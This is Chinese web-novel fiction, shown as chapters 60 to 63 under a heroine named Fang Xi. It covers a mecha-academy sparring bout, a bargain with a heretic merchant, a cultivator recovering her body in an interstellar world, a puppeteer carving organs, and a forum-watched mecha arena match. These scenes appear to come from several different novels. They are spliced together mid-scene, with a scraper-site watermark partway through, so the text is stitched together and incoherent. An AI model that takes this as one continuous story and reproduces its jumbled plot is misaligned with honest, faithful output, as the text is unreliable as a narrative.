“我发誓，这是我听过格斗台叫的最惨的一次。” 有人语气结结巴巴的出声。 在教学光屏后面，悄摸的觑着他们战斗过程的狄谦煞有其事点头。 这也是他在烛荆府任教来，格斗台最响的一次。 赫摩尔是正面朝下，脸刹强停。 他在驾驶舱咳嗽几声，刚转过身，脸颊边上划过一抹疾风，锋利的光剑、标枪一样刺过来。 赫摩尔快速翻身，半跪起来，光剑刺向他刚才位置的一侧，堪堪相隔一个手指，精准定位。 他快速拔出光剑，正要站起，一个银色流光在面前一闪而过，方羲一鞭甩在机甲手臂，向外一扫，把光剑抽向格斗台另一侧，而后快速闪身到赫摩尔面前。 她抬脚踹向对方，将他再度放倒在地，手上抽出□□，正对着他机甲眉心。 就这么一脚踩在他胸前，支着手臂俯视他。 “打服了没？” 赫摩尔被连踹两脚，正在咳嗽，听到她平淡得没什么波动的语气，越发觉得自己被嘲讽。 但他完全没有话可以回怼。 因为自己真的技不如人。 赫摩尔哽了哽，憋了又憋。 直到方羲不耐烦的抬起□□，正准备开炮。 他脸色憋的通红，不知道是羞愧的还是被气的。 声若蚊蝇的表示：“我输了。” 方羲把脚拿下来，银鞭朝一边一甩，卷起地上的光剑，再一次投向身后。 她没回头，但光剑正好卡在刚才的位置，赫摩尔一侧头就能看到。 他扶着光剑站起来，脚步一瘸一拐的走了一步。 方羲预感到他的摇晃，在赫摩尔倒下前，友好的道： “这次看在同窗的份上，就不让你跪着听了，下回好好听课，少管闲事。” 赫摩尔火气腾一下起来，直接白眼一翻。 整个机甲再一次砸在格斗台上。 脸朝下。 关注着这一幕的人，顿时一片卧槽。 华尔兹两兄弟早在赫摩尔被甩在地上时，就停下了装模作样。 力挺赫摩尔的那人惊讶的看着这一幕，不敢置信的踩了踩好兄弟的脚背，“卧槽，什么情况，赫摩尔被打晕了？” “嘶嘶嘶，痛痛痛，哥，你能不能踩你自己”，他从机甲的脚掌碾压下，把自己的脚抽出来，“这不是肉眼可见嘛，赫摩尔，不但输了，还晕了。” 他用一种崇拜的眼神，看着从驾驶舱出来的方羲。 她格外清瘦的体格，敏捷的在机甲上蹦了几下，平稳落地。 把因为晕倒被机甲弹出急救仓的赫摩尔，从驾驶舱里扒出来。 狄谦用教师权限打开79号格斗场，上前看了看赫摩尔的情况。 他余光扫了眼外面踮着脚看戏的学生们，小声问方羲：“不是说好了，点到为止吗？” 方羲刚要站起来，闻言，一脸不解的指了指赫摩尔，“对啊，已经点到了。” 她甚至没用杀招，全是格斗招式。 “好了，懒得说废话了——你把自己的砝码全部放上来吧，无论是所谓的情报，还是你的触手。小金库也可以拿出来，有什么给什么。放心吧，我都不挑。” 乘务员怀疑自己耳朵听错了：“什么？” 但方羲没有再理它，反而是讨厌不平衡的天秤，开始发出催促的尖叫。 方羲靠在椅背上，看着乘务员茫然地放下第二个砝码。 她表面淡定，实则狂喜。 暴富了暴富了！ 方羲内心的小人在仰头大笑！ 虽然这只异端很穷，兜里一个金币也没有，穷得只能去偷桌子。但它手里肯定有很多更有价值的东西。 ——而且它是一名【商人】！肯定有不少“朋友”。 如果它把自己所有的砝码都放上去，还不足以让天秤倾斜的话。那只能厚着脸皮去找其他异端“借”了。 想必，乘务员将成为世界上第一只负债累累的异端。 方羲残忍地想。 第 60 章 第 60 章 乘务员颤颤巍巍地放下第二个、第三个…… 【轻易达成换头效果的化妆品套装x7】 【每日自动做饭的万能便当x10】 【填写姓名即可瞬间送达的信封x20】 【满一千减九百九十九的购物券x50】 第五十一个…… 【人类无法阅读的第十七版时事杂志x1】 【太阳的心脏x1】 【遗落的远古武器胚胎x100】 【神奇的演员称号x7，包括但不限于马戏团团长、巫婆、小丑、魔术师、驯兽师、演奏家、玩具小熊。】 乘务员心如死灰。 刚入定一会，陌生的焦灼感爬到喉咙，迅速把方羲从修行中拽了出来。 “咕噜噜……”空瘪的胃闹腾着，拼命叫嚣。 方羲愣了一下才反应过来，这是饿了。 修炼有成后，吃灵食美味只是满足嘴巴，或是对修行有所助益，方羲连辟谷丹都不知道多少年没见过了。 在星际苏醒前就喝了营养液，能管一天不饿，她也没想起来要吃饭。改善身体本就需要营养，养分消耗加快，难怪没到一天就饿得前心贴后背。 如今的身体没修行过，相当于半个凡人，在神魂灵力修补完身体之前，光用灵力维持身体机能重新辟谷也可以，但没必要。 好像还剩一瓶营养液？ 方羲想了想，反手拆了发髻，抽出细长的营养液，掰掉开口。 量很少，一口就灌完了。方羲吃惯了丹药，灌“星际辟谷丹”也飞快，喝完下一秒，舌尖才后知后觉反应过来味道。 这什么东西？！ 又齁甜又焦苦还黏糊糊的……YUE！炼丹失败品炉渣都比这好吃！ 不指望能像辟谷丹一样有清香、像过去吃的天然食物或灵食一样美味，但——记忆里营养液起码不难吃啊！ 一看营养液包装上贴的降价标志，明白了。 赛前方羲已经欠了债，营养液只舍得按天买，挑口味想都别想。这管本就是最差的临期打折款，不难吃就怪了。还好，只是难吃，没过期变质。 一管营养液下去，暂时不饿了。 方羲深吸一口气，将注意力从奇怪的味道转移开。 过去“精神力受损”的问题，在外面不好检查，这会腾出手，方羲仔仔细细内视了一遍。 神魂没问题，按过去学到的方法感知精神力，却“看”到探出的压根是神识。 方羲一点也不奇怪。 各个世界中有着不同能量，星际本就有灵气，神识和精神力是一个东西合情合理。方羲过去检测出的精神力强度，完全是无知无觉时调动了部分神识。 出窍境的修士神识，能调动的即使只是冰山一角，也足够强了。 飞船事故中重伤后，还没苏醒的方羲本能想调动更多的神识，但又不懂如何使用庞大的力量，检测数值无法稳定，就成了“受损”。 幸好，之前探查材料时，方羲习惯性像在修仙界一样悄悄进行。星际对神识的运用还很基础，完全没发现她。 星际医疗水平发达，飞船事故造成的身体重伤已经没事。虚弱+几个月缺钱折腾出的营养不良在预料之中，灵力就能解决。 灵力如涓滴细流改善着身体，刚修出一丝，就又调走融入身躯。 许久，方羲睁开眼，稍一动，皮肤黏着修行逼出的黑色污泥，黏糊糊的难受。丹田上绘制的符箓灵气已经消耗殆尽，只剩很浅的痕迹残留。 方羲走进盥洗室，冲掉身上的污泥，靠进浴缸，密集的泡泡按摩身体，热气熏得人昏昏欲睡。 悬浮环很好用，既然穿越了，试试星际的东西也不错。 泡了个澡，浴缸弹出一个蘑菇型头罩，在光屏上点选了养护味道后，头罩包裹起头发，一边轻柔按摩，一边烘干。 走到镜子前，头发已经全干了，头罩自动收回，长发垂落，带着淡淡的草莓香。 方羲惊讶地看着镜子。 镜子里的少女茅草似的干枯头发因为营养不良还有些黄，软软披散在肩上。苍白黯淡的皮肤有了光泽，唇色微红，肉眼可见的，气色好了起来。 她还是很瘦，但不至于瘦得吓人，反而凸显出优越的骨相。一双漆黑眼睛如寒星，惊讶睁大时有些好笑，像只受惊的小鸟。 方羲对身体的恢复速度心里有数，但镜子里的人，分明是刚成年时年轻的自己！ 习惯了长开后的样子，修成元婴时能改变身体状态，方羲也没变回更年轻的模样。现在一看，倒是有些怀念了。 方羲拢起长发走出浴室，顺手摸了根工作台上的笔当发簪，重新挽了个发髻。手指活动间，有了熟悉的感觉。 方羲没打算立刻“大变活人”，从麻杆变回正常体型，改善到不影响正常行动，就停下全力修补身体，专心修行起来。 灵力运转中就能潜移默化改善身体，不必把灵力全用在这里。 只是……以现在的灵气修行速度，她得几百年后才能恢复到出窍境离开星际世界。 方羲磨了磨牙，给界灵草记了一笔。 不用想，穿越肯定是界灵草搞的鬼。界灵草特性之一就是能够穿梭世界壁，只有神魂状态才能捕捉，溜得极快。 先前方羲还接到飞剑传讯，隔壁宗师弟在附近历练可以去蹭饭。 这下，稀有材料得出去之后重新追踪，饭也没了。 靠修为突破世界屏障离开，此路不通。方羲只好另想办法。 回想了一遍穿越前的记忆，方羲忽然心中一动。 她记得，穿越前距离近的几个小世界，都快晋升了。 这样一来，不管她掉进了哪个小世界，倒是可以另辟蹊径，帮助小世界晋升，让小世界意识送她出去。 符箓能影响的范围越大，小世界晋升速度越快。 星际世界，还有什么比机甲更受关注的项目？符箓在机甲上，大有可为。 “然后为了符箓生效，再买台机甲……？”方羲哭笑不得。 这么一想，苏醒前选择来参加机甲大赛，一点没错。 既能赚钱拿奖金，又能每次比赛期间收获一台“信号放大器”帮助修炼，还能迅速将符箓推到大家面前，加快她离开的步伐。 赢，指我赢三次（划掉） 隐约的饥饿感戳着胃，刚吃的营养液不到一天就又消耗完了。稍微一回忆，临期营养液的古怪味道迅速泛了上来。 方羲忍住干呕的冲动，看了看酒店服务页面，选择销量最高的营养液品牌，下单一管草莓味。 不一会，机器人托着营养液轻轻敲门。 方羲打开一管营养液，没有立刻喝，谨慎地闻了闻。闻到淡淡的草莓味道，松了口气。 果然还是上了便宜营养液的当。 方羲一口喝下营养液，啪叽，没忍住捏扁了营养液管。 正常的营养液没辜负她的期待，不难吃。但……闻着好好的，这股甜腻腻塑料香精味道是怎么回事？难道是灵力调理身体后，舌头变得更灵敏了？ 方羲痛苦面具。看来想要保证口感，是只能指望天然食物了。 点击手臂，光脑屏幕弹出。 搜索：萤火星天然食物，价格降序排列。 搜索结果第一条：“萤火星港群星餐厅，炸云菇5000星币/份。” 方羲：……多少？ 这都赶上机甲材料的价格了！ 哦，天然食物是极少数未变异生物+少数可食用异兽异植？那没事了。 方羲看了眼个人账户余额，明晃晃的5701星币，只比刚醒时的0好看一点点。 吞金兽竟是我自己.jpg 饭都要吃不起了！ 叮咚~ 光脑弹出一封新邮件，来自机甲大赛直播平台。 方羲顺手点开。 “选手方羲，您的平台私信已满，为防止无法接收重要信息，请尽快登录，重新设置收信选项并查收消息。” 之前忙着修行和改善身体，奖金已经到手，也没别人会找她，方羲完全没注意邮箱。这会一看，已经积累了好几封邮件。 点开邮箱小红点，来自直播平台的邮件就有三封。 刚看过的消息爆满提醒已经是第二遍发送，第一封则是祝贺通过海选，自动开启个人直播间账号。 再往下看，还有一封来自机甲大赛委员会的邮件。 发送时间是比赛刚结束时。估计是那会用的老光脑太卡，只显示了一封，等显示出来的时候，方羲也没注意。 “No.10001，选手方羲，祝贺你进入水蓝星系机甲大赛复赛！复赛定于联邦历X724年7月12日9时，于水蓝星一号机甲竞技场开启，比赛题目将现场公布。请注意飞船班次，按时抵达赛场。 PS：往来费用及住宿费用可登录机甲大赛官网申请报销。[链接]” 12日，也就是三天后……啊不，后天。 方羲看了眼光脑屏幕显示，纠正时间。 萤火星到水蓝星飞船航线很多，最快的班次23H抵达。方羲买了其中最早的一班飞船，今晚起飞，飞到水蓝星刚好去比赛。 小一千星币花出去，账户余额再次缩水。 方羲收起工作台退了房，坐上悬浮环，导航目的地：通往星港的地空电梯。 悬浮环自动寻路，方羲手下不停，登上机甲大赛官方直播平台。 平台为通过海选的选手自动生成了个人页面，方羲刚登录就看到，右上角消息栏已经99+。 展示区只有一个视频，《X07届机甲大赛水蓝星系-初赛第九赛场萤火星-第一名：未命名1号设计直播回放》。 【选手：方羲 参赛编号：No.10001 关注数：18.7w 发布视频：1 上架商品：0 已参赛设计：未命名1号（默认名称可修改） 播放收益：3619.5星币（可提现）】 咦？ 方羲眼前一亮。 参加比赛时光指望奖金和改造订单了，她差点忘了，还有视频收益啊！ 平台播放和被媒体转载直播视频时的收入，以及观众打赏，都与选手分成。 眼下拿到的收益不多，但是积少成多而来，是个好开头。 很好，走之前可以买份零食安慰安慰嘴巴了。 “跳跃！” “跳跃！” “踩着蝴蝶跳跃！” 人偶师的声音从上空遥遥传来，伴随着雕像碎裂的声音。 晶钩蝶轻盈美丽的身影，轻轻振翼，借着收藏家的那一滴血液，凝现成一只巨大的蝴蝶，艰难地撑起秦淮月的身体。 秦淮月竭力支起眼皮。 从几道细微得几乎不存在的缝隙中，窥见人偶师对她伸出的上帝之手。 高空不是蝴蝶的领域。 人偶师随性而为的制作品，也没有力量搭乘一名人类，把她带回肉眼已经无法捕捉的列车。 但只要这个猎人跳出一步就好了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第 61 章 第 61 章 秦淮月的身影在踏入门后的一瞬，直接凭空消失了。 乃至于与造梦家的链接被骤然切断。 “收藏家！秦队她……”林镜子脸上露出一丝惊慌，目光落到门后的场景——和秦淮月不同，造梦家眼中的是一片浓烟滚滚的阴云。 一阵剧烈的暴雷同时在林镜子和疯苹果耳边响起。 方羲立刻上前查看，双手紧紧抓着两边，低头一看，秦淮月的身影只剩下豆粒般大小。 太远了。 这片黑云侵蚀力太强了。 狄谦看着她真诚不作伪的神色，想到她用的几个强攻格斗招式，无奈扶额。 “童灿，张游，把赫摩尔送去校医疗室。” 华尔兹两兄弟还在争辩赫摩尔到底是被打晕的，还是输了不服气，气晕的。 措不及防，双双被点名。 童灿，也就是力挺赫摩尔的那人，看见张游对方羲崇拜眼神，一时间被油腻到。 他举手回应了：“来了教官。” 然后卸下机甲前，抬脚朝张游机甲屁股上踢了一脚：“你这是个什么鬼眼神，能不能正常点。” “你懂什么”，张游不服气的踢回去，“这是慕强批的尊重。” “等会赫摩尔醒了，你跟他说你的尊重。” 张游心虚了一秒，“那，那还是不要打击他了哈哈。” 两个人一左一右架着赫摩尔格斗场外走。 方羲喝了口水，摸了摸肚子，感觉到了饥饿感，于是抱着手臂看向教官：“这样算我的格斗训练结束吗？我想去吃个饭。” 狄谦转头，看着她柔顺短发下，格外平静的表情。 一时间觉得，自己为她感到激动和震惊，都是白操心。 这家伙根本不知道自己这样的武力值，在烛荆府是什么样的程度。 那是极有可能通过下一次校队选拔，成为作战单兵的机会啊。 狄谦沉重的点了点头，想到她和赫摩尔破裂的同学情，友情的想要帮助方羲缓和一下同窗关系。 “赫摩尔，咳咳，你要去看一下吗？” 方羲着急吃饭，“有什么好看的，这点伤，医疗舱躺一躺就好了。” 她下手很有分寸的好不好。 狄谦默默闭上嘴，不再挣扎，指着打卡点：“去那里认证，领取你的格斗评分，你可以下课了。” 说完，他环视周围，看着一群吃瓜写在脸上，无心格斗的学生们，露出森森白牙的笑：“好好训练，我看谁还偷懒，我把他拎到79号，跟我过两招。” 学生们来着方羲离去的背影，又看了看自己的同伴，不确定的询问：“等下打起来，你不会把我往地上抡吧？” 然后收获同伴的无语。 狄谦看着剩下的人照猫画虎般的动作，不由得头疼，怎么都是同一节课教出来的，别人就会改良格斗招式，还用的那么好。 他深吸一口气，挨个点名教学起来。 方羲算是下课比较早的一批，食堂内还没有几个人。 烛荆府的食堂采用旋转轮换的形式，紧挨着四面墙放着三排架子，食物就在架子上不停的传送，墙上有几个窗口，机器人手臂拎起空了的碗碟，然后上新。 一进门就能看到一块光屏，上面写着今日菜单。 星际培育出来的作物并不多，但古星食谱保存的很完好，简单的几种搭配，能够做出许多菜色。 就是卖相看上去…… 方羲看着被淋上一层绿色酱汁的蓝紫色蘑菇，在取餐台前，突然沉默了一下。 做的很好。 下次不要再做了。 她谨慎的取了几样能分辨得出原材料的，加上一些面食。 方羲用餐的间隙，后座来了一群人，看上去对这里颇为熟悉，轻车熟路的准备好食物。 她准备送餐盘到清洁区时，听到一个声音问：“云学长，新任校队你们见过了吗？” 叫云学长的男生声线清润，温和的答：“见过了，你们这一届比我们强多了，要是能找到一个合适的分析师，恐怕下一届联赛，能够打破僵局。” “唉，没那么容易啊，分析师系这一次为了争这个名额，斗的很厉害，他们那个公认的首席，精神阈值好像不太行。” “廖如意？” 另一个女生询问，方羲听见她的声音有些耳熟，放下餐盘后，朝他们的方向看了一眼，果然见到了两个熟悉的面孔。 这是七院刚回来的校队，没想到能在食堂遇见。 方羲听到全息投影里见过的校队分析师思索了片刻：“廖如意的精神阈值是挺一般的，但不夸张的说，她的基础绝对是最好的，校队这样的配置，分析师差点，应该也能对付。” “不一定啊”，叫他们学长的那个男生插话，“我听校队的领队老师说，其他学院的校队名单虽然还没公布，但是小道消息流传，好几个学校，分析师都是新人。” 说到这里，其他人惊讶一下。 “新人？” “分析师协会大师们的学生吗？” “那难怪不能让廖如意上，校队现在的配置，放在我们刚经历的联赛里，肯定是有一争之力的，但是如果其他学院，特别是七所直属的配置提升，那么分析师就是重中之重。” 方羲听到她们似乎继续聊起了校队，期间还有顾妗雪的名字，但她已经用餐完毕，继续站在这里偷听过分引人注目。 于是没再停留，提前离开了。 单兵系的课程上完，方羲正好没事，她去了一趟图书馆，准备看一下分析师的课程。 一年级课程，方羲打算继续了解分析能量场涉及到的知识，好完善一下杨琴鹤留下的作业。 课后她检查了一遍，确定没问题后，方羲把能量晶分析课程的作业提交到了杨琴鹤的邮箱。 次日。 方羲迎来了闲散的下午。 寝室里，顾妗雪从昨天回校后，就一直不知所踪，午时才见到她回来，彼时方羲正在给窗台上的绿植施肥。 顾妗雪推门，整个人砸在客厅的松软长椅上。 她面如冰霜，方羲轻轻扫了一眼，顾妗雪手指勾起营养液，看着她半点不好奇的神色，自己反而好奇了起来： “不问问我去哪？” 方羲瞥了眼她：“校队训练？我今天在论坛上看到了。” 顾妗雪哽住，没忍住跟她诉苦：“刚选完，就是打不完的训练，累死我吧。” 方羲施好肥，把绿植里的土填平。 顾妗雪看着她的绿眼睛，专注的盯着花盆里，目光也跟着看了一眼。 这一瞧，她发现了一点异样。 “奇怪，这盆草怎么长的这么快？” 胡萝卜苗长的出乎意料的高了，绿意过盛。 顾妗雪扫出光脑，找到离开前拍摄的照片，放在方羲面前对比了一下。 “你看。” 她的白头发被吹到方羲脸上，让她没忍住撩了撩，顾妗雪感受到拉扯，轻笑了一下，将发尾一抓，一个银环从她食指根部脱落，将白色长发绑在脑后。 方羲面前没有了银发遮挡，终于看到了她出示的图片。 看完，她低头瞧了眼生长的胡萝卜苗。 “好像……是有一点大，还有点……绿？” 方羲也只有施肥的时候回看一眼，她也不会刻意去记胡萝卜的长势，每天按照克数给它施肥好，她就去忙自己的事情了。 鬼知道。 两天前还是黄叶子，细杆，寥寥几片叶子的苗。 怎么突然长出了这么多绿芽，叶子变大了一倍不说，简直绿的发亮。 顾妗雪两个对比，越看现在的胡萝卜苗，越喜欢，觉得这样健康。 于是拍了拍方羲的肩，看着她质疑自我的皱眉，安慰道：“它还长的挺好的，你还蛮有这方面的天赋。” “要是在生物系，你这样的肯定特别讨同学喜欢，被你养的苗都很健康。” 方羲内心有一种不太好的预感，她含糊的点了点头，但眉头仍然没松开。 “你这几天没事？” 她询问顾妗雪。 对方摇头：“这几天没事，过几天要去打训练赛。” “那这几天你自己来？”方羲指了指胡萝卜苗。 顾妗雪浅笑着点头：“当然，这两天麻烦你了，过几天我去买精神体喂养剂，要不要给你带……” 说完，她想起来，方羲好像是个未觉醒者，于是话到嘴边，转了个弯：“给你带点什么？” 方羲摇了摇头，现在没什么需要的。 短暂的休息后，下午，没有课的方羲去了图书馆。 她申请了分析师全息网课。 虽然，很难理解一个单兵系的学生，为什么要学分析师的课程。 事实就是，方羲发现，整个代课群里，作业单比代课单更加省时省力，而且报价更高，特别是分析师的作业。 她昨天提交的作业，获得了杨琴鹤很高的评价，齐思侠中午通过群聊申请她的通讯好友，一脸哭唧唧的表示： 你作业写的这么好，我很难办。 现在老师要我交一份差不多水平的。 方羲还以为他打算找代写，没想到这家伙让她给他补课。 出价还挺高。 然后方羲就发现了，分析师真是一个人傻钱多的群体。 她今天被萝卜苗的事情提了个醒，再一次想起了自己待觉醒的事情。 之前在星网了解过，待觉醒期间会有能量外溢的情况。 方羲不禁怀疑，萝卜苗的异常生长，会不会和她能量外溢有关。 她得加快速度，赶紧赚一笔检查费用。 维修师证没考下来，周围的维修店铺都不招，校园业务现在是她手上唯一进账的项目。 分析师的全息网课申请，其他院系只能申请到基础内容。 方羲把课程代码拷贝到星网里，找了个位置坐下来，准备听课熏陶一下。 她面前还摆放着一本《分析师起源和发展》，俨然一副看得认真的模样。 赫摩尔从医疗舱里出来的时候，脸上还有些青肿，毕竟摔了两次，伤的有点重。 但正好今天没课，他昨天输得太惨，单兵系这几天的论坛帖子，都被赫摩尔惨败，单兵系新生首席易主等词条刷遍了。 热度甚至有超过联赛结束的可能。 赫摩尔本人比吃瓜群众还震惊。 别人在外面观战不知道，他自己个太清楚了。 整个过程，他就打出去了一招，放了几句狠话，后面全在挨打。 今天拿到格斗场成绩的时候，赫摩尔人都要傻了。 他的有效攻击10%，疑似钢珠炸裂的余波，震到了对方机甲。 承伤竟然被刷出了98%，真是让人捧腹大笑的成绩。 只有赫摩尔本人，完全笑不出来。 他就不信这个邪，这人真有这么厉害？ 他只能在她手底下走一招？ 再比一场，他这次争取走三招！ 专属系统陷入诡异的寂静，它又一次觉得自己的机械世界观被非常理打碎。 欧律狄刻默默给【傀儡师基础常识科普】进行了微小的更新，增加一条新的规则。 以避免后来新诞生的傀儡师，包括现役傀儡师，模仿某人过于天方夜谭、堪称负面教材的行为。 【常识之九十九：请确保您在制作过程中，处于绝对安全的环境——即，禁止在任何等级的副本，当场进行新傀儡的制作。】 【当傀儡师运用自己的力量之时，也是最易被异端捕捉、注视之时。】 【它们往往将此视作蝼蚁的冒犯。】 第 62 章 第 62 章 方羲取出菜刀，极其粗暴地把【超级无敌美味的异端血肉】，切成大小不一的肉块。 一点点雕刻出大脑、心脏、子宫、肺部、肝脏、胃……手中的血肉随着人偶师的心念，缓缓改变成更加契合器官名字的厚度、质感、不同层次的红色。 身体内部的脏器制作完成！ 这片过渡带似乎没有白天和黑夜之分，方羲做完器官之后，打了个哈欠，也不顾自己满手鲜血，直接倒在椅子上开始打瞌睡。 方羲在心底高速咏唱般默念，自己绝对只眯五分钟！ 但半小时后，方羲依然身处香甜的睡梦里，迟迟没有醒来。 反而躺在郁金香内部的秦淮月已经缓缓苏醒，睁眼看见一片清醒的橙色，花瓣细长的雪白纹路。 第二轮攻擂赛尝试过M7的强火力之后，第三轮的进攻机甲明显警惕了不少，只要M7隐藏起自己的身形，他们就会立刻对小白的轻型机甲发起强攻，试图用小白的轻型机甲来牵制住M7的猛火力。 然而只要M7一出现，他们又会立刻拉开自己与小白轻型机甲的距离，并开始用强火力炮轰小白和乔茜，如此几轮试探下来，小白的机甲完整度在迅速下降。 “看来他们是学习了我们的办法。”小白看明白了，对方这是准备强杀他，然后只留M7一台机甲在擂台场上， 乔茜能够从听筒里听到小白因为体力消耗而不断加重的喘息声，她看了一眼双方如今的距离之后，忽然嘱咐了小白一句：“我们再来一次。” 罗小白见状，很干脆的，又是左脚绊右脚的直接平地摔摔倒在了地上。 “卧槽。”果然，罗小白一摔倒就能听到对面的吐槽声，对面并没有上前，只是远远地架起了炮筒，同时还不断嚷嚷着：“能不能有点新意？！” 结果这句话以及炮筒里的火炮刚刚出膛，他们的左侧就闪现出了一台M7，而M7也几乎没有给他们反应的时间，直接就撞向了两人的老腰，还用看起来没什么威力的小型火炮对着两人的机甲就是一顿“羞辱”。 “什么玩意？！”就在两台机甲迅速起身，想要拉开距离的时候，如同豹子一样从地面上猛然间弹跳而起的小白，直接快步冲过来，就如同丛林中的野猩猩一般，大喝一声就扑倒了两台机甲中的轻型机甲。 “啊啊啊！”伴随着怒吼，小白直接一拳就打碎了轻型机甲的驾驶舱，一时间，看戏的GOO论坛众人都忍不住惊讶：哪里来的狂暴战士？！这么不要命的打法，这么重的拳他真的承受得住吗？ 要知道，传感机甲的攻击推力都是会成倍反馈给自身的，单小白这一拳反馈到他自身，胳膊要是稍微细点的，都能当场骨裂。 可看小白机甲的模样，他却像个没事人一样。 这个时候，终于反应过来的中型机甲也毫不客气的将自己的机枪都对准了小白的机甲，就是这一波了，中型机甲赌小白来不及闪避，而小白的机甲完整度根本撑不了这一轮火力。 但在那千钧一发之际，又是那台M7，M7直接闪身到了小白的轻型机甲面前，用自己的机甲完整度扛下了中型机甲这一轮的火力强攻。 中型机甲的机枪子弹都打没之后，M7只剩25%的完整度，可以说是重度受损。 在GOO的模拟赛中，只要机甲完整度低于20%，系统就会宣判机甲解体，并直接失败出局。 但如今的M7，还有25%的完整度。 一时间，GOO论坛里的看客都不自觉欢呼起来，这一台M7，实在是太强了，完美的掩护了自己的队友，啊，简直就是他们对战中想要的“梦中情机”。 同一时间，看到M7的25%完整度，像是触发了小白轻型机甲的什么强行保卫BUFF一般，只见小白一个闪身到中型机甲的身后，双手扣死中型机甲头的同时，硬是用自己的膝盖顶着中型机甲，让对方不得不跪倒在地。 中型机甲使出了全身的力气来反击，试图挣脱小白的束缚，但小白见他要逃，又是对着驾驶舱猛烈一拳，同一时间，M7直接当着中型机甲的面，开始准备自己10秒才能布置好的强火力。 “也太嚣张了吧。”“遇上狂暴战士，我忽然有些同情起他的对手。”“可这个距离，M7是准备把自己的队友也干掉吗？”…… 就在GOO论坛里的看客议论纷纷的时候，只见小白的轻型机甲忽然放开了中型机甲，这是没力气，束缚不住了？ 结果下一秒，如雨点一般的拳头就落到了中型机甲的驾驶舱内，小白的轻型机甲看着这是，真打红眼了，而此刻中型机甲的驾驶员眼看M7的强火力准备已经读秒到了8，中型机甲直接举起了自己的炮筒，尝试用火炮反推力来与对方拉开距离。 不用想，这绝对是一次高端操作，虽然也将付出自身机甲完整度损耗25%的代价。 然而M7明明已经读秒到了第9秒却忽然主动打断了自己的强火力布置，直接一个侧身躲开中型机甲火炮进攻的同时，还开足马力直接冲到了中型机甲面前，狠狠又给了它一撞。 这一撞，M7的机甲完整度也从25%掉到了21%。 “不知道为什么，总觉得M7这个操作，有种贴脸给了对方一个大比兜之感。” “M7驾驶员这个魄力绝了。”“读秒到最后一秒还能主动放弃并避开对方的进攻，哇，我简直要爱上你的这份冷静！”“这个侧身躲的机甲驾驶代码是什么，哇，跪求大佬出闪躲教程。”“确实，如果是我的电控机甲，刚刚就已经彻底凉了。”…… “一群无脑吹能不能停一停，分明刚刚M7就没有进攻的条件。”“没错，还说什么主动放弃读秒，我看是没有这个对狙的定力。”…… “可是如果M7刚刚强行读秒，收获到的结局不过也是打掉了那台中型机甲，然后自己也会出局罢了。”“就是，就是，现在M7还能活着。”…… “21%的机甲完整度，它能做个什么事？” “它……它能全力维修自己。” “？？？” “噗哈哈哈哈，你们是不是忘记了M7作为电控机甲里早期的经典机型，是特别设计出的，核心自带修复能力的机甲？” “我看到了，我看到了，21%的M7已经把自己的完整度，维修到了，令人震惊的，22%了，鼓掌！！！” “22%，卧槽，哈哈哈，笑死我了。” “疯了吧，你们这群电控机甲迷，这也能硬吹？” …… 就在GOO论坛里的看客吵成一团的时候，小白与M7用着配合异常默契的攻防位，硬是单用自己的拳头和机甲重量的撞击，就将对手的中型机甲给撞出局了。 从擂台上下来之后，康链收到了自己好友的私聊：“我信了你的鬼，虐菜？我才是那个被虐的菜吧，淦，冲击力太大，我都被揍出鼻血了。” 康链：…… 事情的走向，怎么和他当初想像的，完全不一样？ “话说，对面那个单兵是谁来着，怎么只出拳，完全看不到他使用武器？” 康链：…… 对啊，那个ID叫【小白】的单兵是怎么回事，轻型机甲：飞翼的核心武器全程都背在身上也不见他使用一下，这是要把自己当拳法家培养呐，那怎么还选择武器众多，唯独力量并不占优势的“飞翼”作为自己的主攻机甲？ 康链把自己的疑问发到了叶司宇所在的小群里，很快，叶司宇敲出一个【笑得灿烂】的表情，并回复：“也许，是为了和M7配合？” 康链：“配合你个鬼，作为侦察机的飞翼和重装火力的M7能这么开，哇，我真是活久见。” 叶司宇：“所以你知道我现在为什么放弃特招了吗？” 康链：“为什么？” 叶司宇：“高手在民间，没有足够的实力，把握不住的。” 康链：…… “你可还是滚犊子吧。” 三轮擂台车轮战结束后，小白和乔茜都收到了GOO论坛里的恭贺提醒，系统表示从下一局比赛开始，只要他们还能继续打赢比赛，就可以收获GOO【擂主】勋章一枚。 但现在M7的机甲完整度只有23%，而小白的轻型机甲，机甲完整度，也只剩下42%，下一局要想赢，基本不可能。 GOO论坛里的看客们又一次吵开了，只因为第四轮的挑战者，有着“狙击圣手”之名的杜鹏飞已经开着自己的狙击机甲上场了。 他一上场就开了公共语音，大言不惭：“虽然你们前三轮打赢了，马上就能拿到勋章了，但很可惜，遇上了本大爷，这是你们命中注定的劫难，不要怪本大爷。” 康链听着杜鹏飞的狠话，忽然坏心思一起，在群里直接点了叶司宇，问他要不要开赌局，就赌乔茜和小白能不能拿到GOO的【擂主】勋章。 “哇，你这不是欺负人么。”“就是，这个完整度，要能赢，我倒立吃草。”还不等叶司宇发言，群里其他人就吵吵开了， 叶司宇：“赌！我赌【以理服人】他们能赢。” 康链：…… 这人怕不是失心疯了。 同一时间，几次在门外喊人出来吃饭却喊不动的项俞生和罗扬原本想上论坛去抓人，结果却发现，他们的好大儿和乖女儿，已经……上擂台赛了？！！ 这就算了，还单凭着体能和蛮力，就打赢了三场擂台比赛。 乔茜驾驶的M7也就算了，毕竟强火力还有个10秒强制准备期，那罗小白的飞翼机甲武器可是全程当摆设一样，用都没用。 想都不用想，项俞生肯定是秉承着当年那套“机甲选错就会知难而退”的想法，给最有力量的罗小白，选择了一款，最不适合他的机甲。 “我们这是，造孽啊！！！” 听着罗扬歇斯底里的呐喊，项俞生的眼角不自觉的跳了跳：…… “算了，回头我们去找个木鱼敲敲吧，说不定，还能挽回一下我们身上的功德。”项俞生无力的闭上了眼睛， “醒醒，他们都打到第四场了，那下场前，武器好歹用一下啊。”罗扬心急火燎的骂道， 项俞生：…… “走！去帮忙。” 世界响起枝蔓细碎的声音，万物流动的歌谣，像是清晨朝圣的天籁。 “二选一吧！” 人偶师抬眼，过长的碎发遮盖了那只露出十字架光芒的左眼，轻声呢喃。 “还是说，第一次从大海爬出的肉鳍鱼，抬头所窥见的天空呢？” 最善于创造不可思议的人偶师，与站在人类最前哨的猎人，在这一刻四目相对。 “那么，我知道你的答案了。” 人偶师举起喷壶，对着站在十字架前的人骨。 浇灌肉眼看不见的天空。 人类再怎么跳跃，也无法触摸的高高在上的天空。 第 63 章 第 63 章 当人偶师雕刻出人体所有完整的器官之时。 【“我们”是天空市第一实验中学，高三十一班的学生。 